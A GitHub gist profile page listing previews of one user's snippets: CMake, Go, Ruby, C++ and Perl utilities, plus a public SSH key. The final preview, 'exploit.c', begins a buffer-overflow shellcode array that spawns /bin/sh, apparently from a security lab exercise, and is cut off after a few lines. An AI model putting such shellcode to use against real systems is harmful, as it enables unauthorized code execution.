Skip to content

Instantly share code, notes, and snippets.

View binary132's full-sized avatar
🎩
✧*。ヾ(。>﹏<。)ノ゙✧*。

Bodie binary132

🎩
✧*。ヾ(。>﹏<。)ノ゙✧*。
View GitHub Profile
@binary132
binary132 / FindSDL2.cmake
Created April 7, 2015 00:26
A CMake script for find_package(SDL2)
#.rst:
# FindSDL2
# -------
#
# Locate SDL2 library
#
# This module defines
#
# ::
#
@binary132
binary132 / gojsonschemafail.go
Created June 23, 2014 03:07
A failing gojsonschema example.
package main
import "github.com/xeipuuv/gojsonschema"
func main() {
testMap := map[string]interface{}{
"title": "Example Schema",
"type": "object",
"properties": map[string]interface{}{
"firstName": map[string]interface{}{
@binary132
binary132 / go_interface_stripper.go
Created June 3, 2014 16:06
Strip a nested map[interface{}]interface{} down to a nested map[string]interface{}
package main
import (
"errors"
"fmt"
"labix.org/v2/mgo/bson"
)
func main() {
@binary132
binary132 / bodie@phaeton
Created April 21, 2014 14:37
ssh-rsa bodie@phaeton
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDVXPCo4x3pjIlpIaFu+YbnaWogLha1vzXx9HSB5183ch+2Sc0Rb1jahwqbB+/ili1lzSsCt6KXe8qxsw4f8Owknf8R4wTIPVGT+WARmtwP0i1hH3T36v4mvMnnnABy6cTuL42oAZBYT8PAjofyoF5Hm850nydNOCb0hlXKGr3u2EPKFIjn7zcyMh07Dq3YpVxR9vzyAA8crxtqcDId4JmZdm4vOiZCsO0Z9HlBL9hVW66+cG4hazjnMBxaCV8/PwXYMt64rr+jwt/iu43bKCbnOMBHkHY55e5hZhXd8hJxV80vtzC6Lf5vTsHk/Ms457rbncnsg/diLxvEOj8duZ/ bodie@phaeton
class Cell
def initialize
@name=:nak
@eu=384000
@time=150
end
attr_reader :name, :eu, :time
end
class Reactor
// Bodie Solomon 2013
// TCP Echo client
#include <iostream>
#include <boost/array.hpp>
#include <boost/asio.hpp>
#define MAX_LENGTH 1024
using boost::asio::ip::tcp;
@binary132
binary132 / commonlines.pl
Created April 29, 2013 22:11
Display 100 most common lines from STDIN. Unlimited input (external sort.)
#!/usr/local/bin/perl
use strict;
use warnings;
# JBS 2013
# External sort
# read lines (possibly billions of lines) from standard input
# print out the 100 most common lines
@binary132
binary132 / hexdump.pl
Created April 22, 2013 18:17
Hex dump STDIN to STDOUT, with byte index and ASCII text display.
#!/usr/local/bin/perl
# Bodie Solomon 2013
# question 2: hex dump
use strict;
use warnings;
{
local $/ = \16;
@binary132
binary132 / primes.pl
Last active December 16, 2015 11:49
Seive of Aritosthenes in Perl (print to STDOUT all prime numbers less than or equal to N, in argument -pN).
#!/usr/bin/perl
use Getopt::Std;
use vars '$opt_p';
use strict;
use warnings;
getopts('p:');
@binary132
binary132 / exploit.c
Last active December 14, 2015 18:59 — forked from anonymous/exploit.c
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */